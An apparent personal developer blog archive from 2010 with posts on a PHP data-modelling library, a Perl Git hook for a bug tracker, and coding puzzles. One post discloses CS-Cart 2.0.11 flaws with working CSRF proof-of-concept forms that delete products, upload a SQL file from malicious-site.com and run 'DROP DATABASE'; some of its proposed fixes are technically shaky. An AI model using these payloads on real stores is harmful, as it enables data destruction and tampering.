DataModeler 0.0.3 Released

Posted by Vic Cherubini on January 29, 2010

This is a valid article, and is considered technically accurate up to Feb. 21, 2010

Before I left on my trip to Houston for a job interview, I released version 0.0.3 of DataModeler. The version includes many changes.

  • The DataAdapters are now totally independent of the objects they hold, making it easier to test them. For example, with DataAdapterPdo, the PDO connection is made outside of the DataAdapterPdo class and passed in. This means there’s a single DataAdapterPdo class, and not one for each different PDO Driver. Additionally, testing is easier because the PDO object can be mocked.
    $pdo = $this->getMock('PDO');
    $db = new DataAdapterPdo($pdo);
    // Continue tests for $db
  • A new DataAdapter for Mysqli connections was added. The query() method is currently disabled, but will be enabled in 0.0.4.
  • Doxygen Comments were added to all of the files for in depth documentation.
  • DataObject now just has hasDate(), id(), init(), model(), pkey(), table(), and children() methods for manipulating each of those about the object. If any of those methods has an argument, the value is set, if there is no argument, the current value is returned.
  • The method cache in DataObject was removed because currently there is no intuitive way to do it. Yet.
  • The DataAdapter are required for saving objects now, and DataModel is simply a convenient layer between the two. The DataAdapter’s don’t load the data yet, but they will in 0.0.4. Right now DataModel only works with SQL databases, but loading objects will be pushed to the DataAdapters.

Version 0.0.4 should be released sometime next week. Be sure to follow the project at Github and Pearhub.

DataModeler and DataIterator

Posted by Vic Cherubini on January 26, 2010

This is a valid article, and is considered technically accurate up to Feb. 21, 2010

With DataModeler, I’ve moved from my position of always just using a query result pointer to fetch successive rows to fetching all rows and storing them in memory. While its not the most efficient method to handle large sets of data, memory is cheap, and this method works across many different database types.

One could certainly use a result pointer with DataModeler.

$db = new DataModelerPdoMysql($server, $database, $username, $password);
$db->connect();
 
$sql = "SELECT * FROM table .....";
$result = $db->query($sql);
 
while ( $row = $result->fetch() ) {
  // Do whatever you want with $row, $result is a result pointer to the set
}

DataModeler isn’t supposed to be used in that manner. Rather, with DataModeler, the amount of SQL you write by yourself should be minimal, and only when an extremely complex query needs to be written.

Generally, you’d fetch all of the data from a Model into an Iterator.

// Assuming $db from above
$model = new DataModel($db);
 
$product = new Product(); // Product is a class that extends DataObject
$id = 10;
$iterator = $model->where('id != ?', $id)->loadAll($product);
 
foreach ( $iterator as $obj ) {
  // Each $obj is a Product object.
}

DataModel has plenty of methods to handle more complex queries.

$iterator = $model->field('id', 'name', 'age', 'weight')
  ->where('name != ?', $name)
  ->where('age > ?', $age)
  ->orderBy('date_create', 'ASC')
  ->groupBy('age')
  ->limit(10)
  ->loadAll($product);
 
/**
 * Creates a standard SQL query like:
 * SELECT `id`, `name`, `age`, `weight` FROM `product`
 *   WHERE (name != ?) AND (age > ?)
 *   GROUP BY `age`
 *   ORDER BY `date_create` ASC
 *   LIMIT 10
*/

The method loadAll() is guaranteed to return a DataIterator object, even if no rows are found. The number of rows returned can be found by using $iterator->length(). The method loadFirst() returns the first row found from the query. It always returns the DataObject that was passed into it, even if no data was found. If a row was found, the DataObject passed into loadFirst() is populated and returned.

The 0.0.3 version of DataModeler is about to be released. The 0.0.3 will contain several major upgrades, and will not be compatible with 0.0.2. Subscribe to this blog or follow me on Twitter to find out when 0.0.3 is released.

More work on DataModeler 1

Posted by Vic Cherubini on January 24, 2010

This is a valid article, and is considered technically accurate up to Feb. 21, 2010

I’m having a blast working on DataModeler. So much, in fact, I don’t want to work on anything else!

The 0.0.2 tag was just released on GitHub and PearHub. DataModeler allows you to build your models decoupled from a data store. From there, you can add all of the business logic you like to each of them. When writing your tests, you can mock any data you need to send to them, and still have them execute as if they were tied to the data store.

The class DataObject is the base abstract class that handles creating the decoupled models. It must be extended, and the name of the extended class should be the table name the model will eventually use. You can override this if you wish. Let’s see what a simple Product may look like:

class Product extends DataObject {
}
 
$product = new Product();
$product->setPrice(1095)->setName('Sweet Salty Balls');
 
echo $product->getName(); /* 'Sweet Salty Balls' */
 
/* Changing the primary key, table, or adding all of the data at once is simple. */
$data = array(
  'price' => 1095,
  'name' => 'Sweet Salty Balls'
);
 
$product->table('data_products')
  ->pkey('data_product_id')
  ->model($data);
 
echo $product->getName(); /* 'Sweet Salty Balls' */
echo $product->table(); /* 'data_products' */

For each of the id(), children(), hasDate(), methodCache(), model(), pkey(), and table() methods, if no argument is passed, the current value of that class variable will be returned. If an argument is passed, the class variable will be set to that value. The reason these aren’t get*() and set*() methods is because a member of the object could very well be ‘table’ and thus, the automatically created getTable() would already exist and cause problems.

In your application, tying the Model to a data store is equally as simple. The DataModel class handles this for you. It is not abstract, so you can create it directly.

/* Assuming class Product and $product from above exist. */
 
/* First need to connect to a database, DataModeler uses PHP PDO for this. Deal with it. */
$db = new DataAdapterPdoMysql('hostname', 'database', 'username', 'password');
$db->connect();
 
$model = new DataModel($db);
 
/* Load the first matched record. Return it to $product. */
$matched_product = $model->where('product_id = ?', 1)->loadFirst($product);
echo $matched_product->getName() . PHP_EOL;
 
/* Load all matched products into an iterator. Each element of the iterator is a Product object. */
$iterator = $model->field('product_id', 'name', 'price')
  ->where('product_id != ?', 4)
  ->where('name != ?', 'Second Product')
  ->orderBy('name', 'DESC')
  ->groupBy('name')
  ->limit(2)
  ->loadAll($product);
 
foreach ( $iterator as $obj ) {
  echo $obj->getName() . PHP_EOL;
}

Tying this in to your tests is simple. Let’s say the Product class was updated to have some logic with setPrice():

class Product extends DataObject {
  public function setPrice($price) {
    $price = abs(intval($price));
    $this->__set('price', $price);
  }
}
 
/* And in your ProductTest.php file */
 
require_once 'PHPUnit/Framework.php';
require_once 'Product.php';
 
class ProductTest extends PHPUnit_Framework_TestCase {
 
  public function testProductPriceCantBeNegative() {
    $product = new Product();
    $product->setPrice(-2059);
 
    $this->assertGreaterThan(0, $product->getPrice());
  }
}

This is a fairly simplistic example, but as your business logic in your DataObject classes becomes more complex, you’re tests can mock the data ensuring the DataObject’s still return the same values.

As DataModeler matures, I’ll release more complex examples. The near future holds work on relationships between DataObject’s. Often, one table in a database is the “parent” of other tables (i.e., the other tables are useless without the parent table). For example, with simple products, the “product” table would the be the parent, and “product_price”, “product_image”, and “product_description” would all be children. Accessing these from the parent table is beneficial. It cuts down on the number of objects to manage, and allows you to access many children objects from a single parent object. More on that to come.

Please download the 0.0.2 tag of DataModeler from GitHub or PearHub and let me know how it works for you.

New Weekend Project – DataModeler for Efficient TDD with PHP

Posted by Vic Cherubini on January 19, 2010

This is a valid article, and is considered technically accurate up to Feb. 21, 2010

I’m beginning my foray into Test Driven Development with PHPUnit. When building web applications, the ActiveRecord pattern becomes very handy. Using my ActiveRecord class, a programmer can easily have their models map 1:1 to tables in the database.

While this is very easy to use, it’s not very good for writing unit tests. The reason being is the class is tightly coupled with the database. A unit test should use most basic data as possible, which means the data should be mocked, and not come from a database. You can write separate unit tests for the database management classes themselves, but the models should be abstracted away from the database.

I started working on a new project called DataModeler over the weekend. It can be found at GitHub and PearHub. Development will take place on GitHub, and official releases pushed to PearHub.

There are several different classes within the project. Essentially, one can create an Object class and a Model class. The Object class is for managing data about that Object. It lacks any dependencies. The Model class is for loading and saving the Object to a datastore.

class ProductObject extends DataObject {
}
 
class ProductModel extends DataModel {
}
 
$data_adapter = new DataAdapterPdoMysql(/* connection info */);
 
$product = new ProductObject();
$product->setName('name')->setPrice(1495);
 
$product_model = new ProductModel($data_adapter);
$product_model->save($product);
 
/* OR */
 
$product_model = new ProductModel($data_adapter);
 
/* Load up product #1 into $product (by reference) */
$product_model->load($product, 1);
 
$product->setName('a new name');
 
/* Update the product now. */
$product_model->save($product);

Thus, writing a test for the ProductObject class is simple. Any logic that takes place in that class is only for data loaded up for that object. In your test, you can simply mock the data and the ProductObject class will be none the wiser.

In addition to easy TDD, the DataModeler framework comes with a very nice iterator class for really managing data properly. It uses PHP PDO for the database layer, so you have that going for you too.

Be sure to watch the project on GitHub, and let me know of any ideas you have for it.

Git Logging With a post-commit Hook

Posted by Vic Cherubini on January 14, 2010

This is a valid article, and is considered technically accurate up to Feb. 21, 2010

I’m in the process of updating my Subversion post-commit hook to work with Git. Because I’m radically newer to Git than I am Subversion, I’m finding new things each day that make me love Git more. Git has the ability to format a commit message any way you want. This makes it incredibly useful to create a custom note added to your bug tracker.

Mantis is currently the bug tracker of choice, and my post-commit hook scripts adds a note to a bug if that bug ID is specified in the commit message.

user@host: $ git ci -am "Fixed bug #1, there was a small error in the logic and I did this that and the other thing to fix it."

The post-commit hook gets the raw commit message (and only the message) with a custom format.

git log -1 --format="%s" HEAD

The –format=”%s” tells Git to only display the subject (the message itself) without any further information. From there, the message is searched for a #(\d) format, and if found, that is considered the bug ID. A connection is made to the bug database, and if the bug exists, a note is added that contains the commit message and the updated files. I change the commit message once again to be slightly more verbose when adding a note to the bug.

git log -1 --format="<%cn> %s (%h)" HEAD

That makes the note message look like “<Vic Cherubini> Fixed bug #1, there was a small error in the logic and I did this that and the other thing to fix it. (939daade)” where %h is the commit hash. Save the file below as post-commit in .git/hooks/ and update the values in between the ##’s with your database credentials.

#!/usr/bin/perl -w
 
use strict;
use DBI;
 
my $commit_msg = `git log -1 --format="%s" HEAD`;
my $changed_files = `git diff --name-only HEAD^`;
 
my $gitbot_user_id = 3; # A user with this ID has been created in the bug tracker
 
if ( $commit_msg =~ m/\#(\d*)/i ) {
  # Only connect to the database if necessary.
  my $dbh = DBI->connect('DBI:mysql:##DBNAME##:##DBSERVER##', '##DBUSERNAME##', '##DBPASSWORD##') or die;
 
  # ID of the bug from the commit message.
  my $bug_id = $1;
 
  # Get a nicer looking commit message.
  $commit_msg = `git log -1 --format="<%cn> %s (%h)" HEAD`;
 
  # First, ensure the bug actually exists
  my $stm = $dbh->prepare('SELECT * FROM `mantis_bug_table` WHERE id = ?');
  $stm->execute($bug_id);
 
  $commit_msg  = $commit_msg . "\n";
  $commit_msg .= "=== Changed Files ===\n";
  $commit_msg .= '&lt;pre&gt;' . $changed_files . '&lt;/pre&gt;';
 
  # If the bug exists, add a note.
  if ( $stm->rows == 1 ) {
    $stm = $dbh->prepare("INSERT INTO `mantis_bugnote_table` (bug_id, reporter_id, bugnote_text_id, date_submitted, last_modified) VALUES (?, ?, ?, NOW(), NOW())");
    $stm->execute($bug_id, $gitbot_user_id, 1);
    my $insert_id = $dbh->last_insert_id(undef, undef, qw(mantis_bugnote_table id));
 
    $stm = $dbh->prepare("INSERT INTO `mantis_bugnote_text_table` (id, note) VALUES (?, ?)");
    $stm->execute($insert_id, $commit_msg);
 
    $stm = $dbh->prepare("UPDATE `mantis_bugnote_table` SET bugnote_text_id = ? WHERE id = ?");
    $stm->execute($insert_id, $insert_id);
  }
 
  undef $stm;
 
  $dbh->disconnect();
}
 
exit 0;

New Small Side Project

Posted by Vic Cherubini on January 13, 2010

This is a valid article, and is considered technically accurate up to Feb. 21, 2010

I love keeping busy with side projects. They teach me new things and I get to produce something I actually use.

I just started a new, small side project called HolyHtml which sanitizes HTML. It will let you allow a subset of tags from user data (for example, blog comments can contain very basic formatting, so <b>, <strong>, <em>, <u>, <s>, etc), but disallowing attributes for those tags; it will allow you to sanitize against XSS attacks, and some more cool features that I haven’t fully planned yet.

In most applications I’ve built, I’ve naively just sanitized against all HTML (mainly because HTML wasn’t necessary for any user submitted data), but I’d like to start branching out in the applications I build, so I’ll use HolyHtml for it.

You can follow development progress here, or at GitHub, where it’s located.

Vulnerabilities in Shopping Cart Software CS-Cart 11

Posted by Vic Cherubini on January 12, 2010

This is a valid article, and is considered technically accurate up to Feb. 21, 2010

Several weeks ago, I wrote a post detailing a security vulnerability I found in a popular eCommerce shopping cart application. I alerted the developers, have heard nothing back, and am releasing this vulnerability report. I’ve given them nearly a month to respond.

The vulnerabilities exists in version 2.0.11 (and prior versions) of the popular shopping cart, CS-Cart. They include both Cross Site Request Forgery attacks and SQL Injection attacks.

Cross Site Request Forgery

A Cross Site Request Forgery (CSRF) attack takes place when malicious-site.com makes a request to good-site.com, and good-site.com allows it as the result of some escalation of privilege. good-site.com trusts malicious-site.com for some reason (although it shouldn’t), and thus requests that should only be allowed on good-site.com are allowed from malicious-site.com. Ironically, the CSRF attack is generally initiated by an actual trusted user of good-site.com, most likely without her knowledge.

If an administrator had CS-Cart installed on good-site.com, malicious-site.com could, with the proper authentication on good-site.com:

  1. Delete Products
  2. Delete Customers
  3. Alter Passwords
  4. Delete Orders
  5. Alter Order Data
  6. Many more things similar to Creating, Updating or Deleting of data.

This happens because:

  • Many of these operations are allowed through a normal GET request, rather than a POST request.
  • No tokens are used to further authenticate the session.
  • Create, Update, and Delete request are allowed cross domain.
  • Store owner’s can easily be Phished with an email to initiate the attack.

Luring the store owner into a CSRF attack is simple with a process called Phishing. Phishing occurs when an attacker mimics a trusted source (such as a new order confirmation email) and the administrator unknowingly clicks a malicious link. This can happen even easier when HTML emails are used because the link can point to one location and display another: <a href=”http://malicious-site.com“>http://good-site.com</a>. Phishing is particularly common in the banking industry, where an attacker will send out an email to a bank’s customers that mimics a real email from the bank. The customer clicks the link, goes to a site that looks similar to the banks website, enters their credentials, which are just sent to the attacker. This is one reason banks should not include links in their emails. Neither should shopping cart software. When an email is sent from the store to the administrator, it should contain no links. The administrator should have to manually type in the URL of the administration panel and log in manually. A small burden, but clearly much smaller than having your data stolen.

A simple form to duplicate this is shown. Replace the URL in the form code with your CS-Cart installation URL. If you have an authenticated administrator’s session, this will easily work.

<h3>Save Fake Data (this will change the billing city of user id #3) </h3>
<form method="post" action="http://good-site.com/admin.php">
	<input type="hidden" name="user_id" value="3" />
	<input type="hidden" name="selected_section" value="general" />
	<input type="hidden" name="dispatch[profiles.update.]" value="Save" />
	<input type="text" name="user_data[b_city]" value="" />
	<input type="submit" value="Save the Billing City" />
</form>

Or deleting a product.

<a href="http://good-site.com/admin.php?dispatch=products.delete&product_id=1">
  Click to delete this product
</a>
<br>
(Furthermore, this could be the src of an iframe and it would be
automatically loaded, and the product would be deleted)

SQL Injection

The next attack is called a SQL Injection attack, and occurs when a bit of malicious SQL is inserted and executed. This could have drastic consequences, as an attack can easily update the administrators login to allow the attacker to login, or could delete entire tables, or any other array of bad things. While the most common choice of SQL Injection is through a form, it can also occur in other places. From what I’ve seen, CS-Cart is adequately prepared to handle the first, more obvious choice of SQL Injection through a user submitted form.

Unfortunately, the developers left open a huge vulnerability. CS-Cart has the ability to backup your database from the Administration Panel. Additionally, you can upload an existing backup, either from your local computer, or from another domain. Because the upload form submission is not validated any further, one can simply create a form that automatically submits when visiting a malicious site (through an iframe), and another form that executes the uploaded SQL file through another iframe. In this case, the attacker does not have to get creative in how he structures the SQL Injection attack; he can simply make a SQL file that drops a database (the default database name is cart), or one that deletes all of the tables (there are 200+ tables, so the SQL file could easily contain 200 lines, each of DROP TABLE `cscart_table_name` and the database would be effectively dropped).

The solution to this is clear.

Do not allow database backups through the administration panel. Period, end of story. While it’s possible to defend against, it’s a bad idea to allow remote or local uploads of SQL files. Any competent store owner should have an administrator handle the backups themselves. Furthermore, while CS-Cart claims PCI Compliance, this failed point #11.

A simple form can upload a SQL file after an authenticated administrator’s session is created. Again, replace the fake URL with your CS-Cart installation URL.

<h3>Upload a SQL File</h3>
<div>
  (This will copy the file from
  <a href="http://malicious-site.com/bad-data.sql">
    http://malicious-site.com/bad-data.sql
  </a> to the server. Note that the file is hosted on another domain.)
</div>
<form enctype="multipart/form-data" method="post" action="http://good-site.com/admin.php">
	<input type="hidden" name="fake" value="1" />
	<input type="hidden" name="selected_section" value="restore" />
	<input type="hidden" name="dispatch[database.upload]" value="Upload" />
	<input type="hidden" name="file_sql_dump[0]" value="http://malicious-site.com/bad-data.sql" />
	<input type="hidden" name="type_sql_dump[0]" value="url" />
	<input type="submit" value="Upload Remote File" />
</form>

The bad-data.sql file is small because I know the name of the database, however, it could easily contain the names of all tables.

DROP DATABASE `cs-cart`;

Executing the uploaded bad-data.sql file is equally as simple.

<h3>Execute Uploaded SQL File</h3>
<form method="post" action="http://good-site.com/admin.php">
	<input type="hidden" name="dispatch[database.restore]" value="Restore" />
	<input type="hidden" name="backup_files[]" value="bad-data.sql" />
	<input type="submit" value="Execute Remote File" />
</form>

In addition to this, if one were to find the structure of the backed up file names from CS-Cart (such as $database-$date.sql), executing an existing file would be just as easy.

Solutions

Fortunately, fixing these problems is fairly simple. If the software is designed properly, updating them should be a globally performed initiative. Here’s how.

  1. Create two SHA1 hashes and one salt. One hash (the private-hash) and the salt are stored securely in the session (known to no one other than the computer) and one hash (the public-hash) is submitted with each form. Furthermore, the SHA1 hash of secure-hash = sha1(private-hash + salt + public-hash) is stored in the session (also unknown to anyone). On each form submission, the hash submitted with the form (public-hash) is validated with the private-hash and salt to determine the secure-hash. If the calculated-secure-hash does not equal the secure-hash, then kill the session immediately and redirect to a login form.
  2. Only allow Create, Update, and Delete actions through POST requests. Being able to click a link to duplicate (a Create action) a product, or a link to Delete a product is nice, but insecure. You must be sure to include the public-hash with each link. Instead, submit them through a POST request.
  3. From #2, the reason you want to use a POST request is to create a Same Domain Policy. Only requests coming from the originating domain (in the Administration Panel) are allowed. Thus, malicious-site.com can not POST a request to good-site.com. If you must have this operation, create an API and only give permission to whitelisted domains.
  4. Do not include links in any store communication between the software and the administrator or customer. Phishing is also possible on the customer’s end. If the shopping cart stores credit cards (an option for CS-Cart), a customer could be phished and her credit cards stolen.
  5. When installing the software, have the administrator create a secure PIN, similar to the PIN on your debit card. This can be a 4-6 digit number. On all communication between the shopping cart and the administrator, the PIN will appear in either the Subject or Body of the email. If the PIN is not present, the email should be considered malicious and deleted. The PIN is known only to the administrator and should be changed every 30 days.

Preventing these attacks takes both a technological approach and a social approach. These attacks are equal parts social engineering (Phishing) and technological mistakes (SQL Injection/CSRF). Unfortunately, CS-Cart does not have a good security history.

While I am not a security expert, I did discover these attacks fairly easily. Please notify the CS-Cart developers so they can be patched as soon as possible.

Conclusion

One may argue that the chances of these being executed are slim. While these attacks do rely on chance, social, and technological engineering, they are entirely possible. Please take the time to audit your software and the software of others.

Become a better programmer by taking a shower 14

Posted by Vic Cherubini on January 10, 2010

This is a valid article, and is considered technically accurate up to Feb. 21, 2010

Like most ideas, I had this one in the shower. One thing I’d like to do this year is to challenge myself to program harder things, not just more things. This means re-learning a lot of concepts I learned in college, but promptly forgot because I haven’t used them in years.

I love reading the difficult interview questions that Microsoft, Google, and other large technology companies are famous for. When I was getting ready to graduate college, reading about the difficult problems they’d ask you to whiteboard had me shaking in my boots. I really didn’t feel like I was up to the task of answering them, so I went the easy route and took a job doing basic eCommerce web development.

While that paid off well and I learned a lot, I’ve always felt like I’m not the best programmer that I can be. So, in 2010 I want to challenge myself more, which means starting with basic brainteaser problems and working up.

I was driving the other day when I started to think about how to reverse an array (in this case, a numerically indexed normal a[0..n] array). The naive solution is to create a second array, b[0..n] and copy the elements in reverse order from a to b. Of course, this is in O(n) space complexity, which for an array of a million elements, isn’t too efficient.

The next line of thinking was to reverse it in place, which means to not use a temporary array, but so that at the end of the loop, a[0..n] is a[n..0]. I couldn’t immediately think of the answer, and since I had arrived at my destination, promptly forgot about it.

When I was taking a shower this morning, the problem crept back into my mind. And thats where I had my “a-hah” moment. I told myself I wasn’t going to finish the shower until I had solved how to reverse an array in place. Similar to a tough job interview, in a shower you’re vulnerable and don’t have a computer (hopefully you’re clothed in your job interview). Just you and your brain.

So I started thinking about it. At first, I thought to simply loop through the array, copy the last element to the first, and the first to the last-$i (where $i was the loop counter) and you’d be done. But, upon further inspection, this solution isn’t one at all, you’ll end up copying part of the array over itself (I better hurry, the hot water was starting to get cold).

What if you only used half of the array, and copied the last half to the first half and vice versa? That wouldn’t overwrite any part of the array, and it would effectively be reversed in place. One more thing and you’re done: how do you handle odd length arrays? If the array is a[0..10], you can’t go to the 5.5th element (Leeloo Dallas Multipass). So, do you round up, or do you round down? The answer depends on how your loop is set up. If you use $i<(n/2), you need to use ceil(), if you use $i<=(n/2) you need to use floor(). Here’s a solution in PHP.

<?php
 
$a = range(0, 10); /* 11 elements */
$n = count($a)-1; /* indexed 0..10 */
 
for ( $i=0; $i<ceil($n/2); $i++ ) { /* or: for ( $i=0; $i<=floor($n/2); $i++ ) */
  /* Essentially a swap() function done in place. */
  $x = $a[$i];
  $a[$i] = $a[$n-$i];
  $a[$n-$i] = $x;
}
 
print_r($a);
 
/* or just use array_reverse() */

So I made a bet to myself: could I pick a small brainteaser algorithm or something similar to try to solve while in the shower? The goal is to come up with a solution before you get out. Try the same for yourself. There are plenty of brainteaser questions out there, so finding some shouldn’t be an issue. Start small, especially if you’re a junior programmer, and work your way up. Start with Fizzbuzz, and work your way up to understanding recursion a lot better (I know I still don’t), or finding a loop in a singly linked list in O(n) time (it’s actually easier and more intuitive than you think). You may be surprised at how rusty you are at solving these problems, but over time, you’ll be a better programmer as a result.

Now, go reverse a multidimensional array of N dimensions recursively.

Small note on checking out your remote Git branches

Posted by Vic Cherubini on January 08, 2010

This is a valid article, and is considered technically accurate up to Feb. 21, 2010
  1. Make a git branch locally and check out to it.
    git co -b account-management
  2. Hack on it.
  3. Push it to your Github account
    git push origin account-management
  4. Decide you need to work on it more at home, but cloning the main repository only brings in master, not account-management.
    git branch -r # Show remote branches, you should see origin/account-management
    git co -b account-management origin/account-management
  5. Now you can work on the account-management branch on a separate computer.
  6. Note to self.

IONCart Licensing and Pricing 1

Posted by Vic Cherubini on January 06, 2010

This is a valid article, and is considered technically accurate up to Feb. 21, 2010

There have been a few questions on how IONCart will be priced and licensed. IONCart will be dually licensed.

The first version of IONCart released will be called the Minimum Viable Product (MVP). It will be a fully featured and functioning shopping cart, but will lack all but basic styling (in essence, will just be a wireframe), and will have a minimum number of features. Enough to sell products, fulfill orders, manage customers, etc. It will be released as both an Open Source License and as a Commercial License, neither of which I have chosen yet. The Commercial License of the MVP will sell for $79.00, while the Open Source License is obviously free.

When IONCart reaches a point that the MVP is no longer useful, a normal software development lifecycle will kick in. The MVP will stay as the Open Source License, and a new product, the Commercial Version (CV) of IONCart will be released. The CV will include styled themes, more features, and professional support. The CV of IONCart will cost substantially more than $79, but less than $1000 (per domain).

Why would anyone pay for the Commercial License over the Open Source License for the MVP? Good question. Paying for the MVP will allow development to continue. For this, you will get free updates to the Commercial Version for free, for life.

So, to reward early adopters, they’ll have access to future version of the software. Of course, I’d love to hear feature requests and bug reports from the early adopters as well.

I’m committed to making some pretty great eCommerce software, and IONCart will be a fresh look at eCommerce this year.